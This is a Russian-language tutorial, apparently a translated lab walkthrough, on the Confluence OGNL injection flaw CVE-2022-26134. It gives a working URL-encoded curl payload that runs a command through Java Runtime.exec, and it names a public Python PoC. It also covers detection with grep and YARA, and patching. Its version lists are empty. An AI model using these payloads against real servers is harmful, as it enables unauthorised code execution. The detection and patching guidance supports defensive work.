
Confluence: удаленное выполнение кода до аутентификации через внедрение OGNL (CVE-2022-26134)
Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
30 мая 2022 года организация Volexity выявила неаутентифицированную уязвимость удаленного выполнения кода (оценка 9,8 по NIST) в Atlassian Confluence Server и Data Center (https://www.atlassian.com/software/confluence).
Confluence — это фреймворк для совместной работы над документацией и управления проектами для команд. Confluence помогает отслеживать статус проекта, предоставляя централизованное рабочее пространство для участников.
Следующие версии Confluence уязвимы для данного CVE:
Вы можете просмотреть запись NIST для CVE-2022-26134 здесь (https://nvd.nist.gov/vuln/detail/CVE-2022-26134).
Этот CVE использует уязвимость в языке выражений OGNL (Object-Graph Navigation Language) для Java. OGNL используется для получения и установки свойств Java-объектов, среди прочего.
Например, OGNL используется для привязки элементов интерфейса, таких как текстовые поля, к серверным объектам и может применяться в веб-приложениях на Java, таких как Confluence. На скриншоте ниже показано, как используется OGNL. Значения вводятся в веб-форму, где они будут сохранены в объекты приложения.
Эксплуатация Мы можем злоупотребить тем, что OGNL может быть модифицирован; мы можем создать полезную нагрузку для тестирования и проверки эксплойтов.
Чтобы использовать эту уязвимость в OGNL, нам нужно отправить HTTP GET-запрос и поместить нашу полезную нагрузку в URI. Например, мы можем указать среде выполнения Java выполнить команду, например, создать файл на сервере: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/".
Это необходимо закодировать в URL. Вы можете использовать этот сайт для кодирования ваших полезных нагрузок (обратите внимание, что ваша полезная нагрузка curl должна заканчиваться символом /, а не $2F).
Команда:
user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/
Теперь убедитесь, что приведенная выше команда выполнена успешно, выполнив команду ls /tmp в приведенной выше команде.
Существует несколько рабочих PoC-эксплойтов; я продемонстрирую PoC Сэми Юнси (Mwqda), написанный на Python и размещенный на GitHub (https://github.com/h3v0x/CVE-2022-26134).
python3 exploit.py -u <target_url> -c <command>Обнаружение
Файлы журналов Confluence — это сервер Apache Tomcat, журналы которого находятся в /opt/atlassian/confluence/logs. Вы можете использовать такие команды, как grep, для поиска HTTP GET-запросов полезных нагрузок, использующих среду выполнения Java для выполнения команд. Например:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA Если у вас установлен Yara на сервере с Confluence, Volexity (обнаружившие уязвимость) создали правило Yara для вашего использования, которое предоставлено в этом репозитории, а также по следующей ссылке (https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar).
Патчинг Atlassian выпустил уведомление для своих продуктов, затронутых этим CVE, которое вы можете прочитать здесь (https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html). Чтобы устранить проблему, вам необходимо обновить версию Confluence. Рекомендуемый список на момент публикации:
Помните, OGNL — это язык выражений для веб-приложений на Java, поэтому эта уязвимость также будет применима к другим веб-приложениям, использующим те же классы, что и Confluence!
Дополнительные материалы для чтения: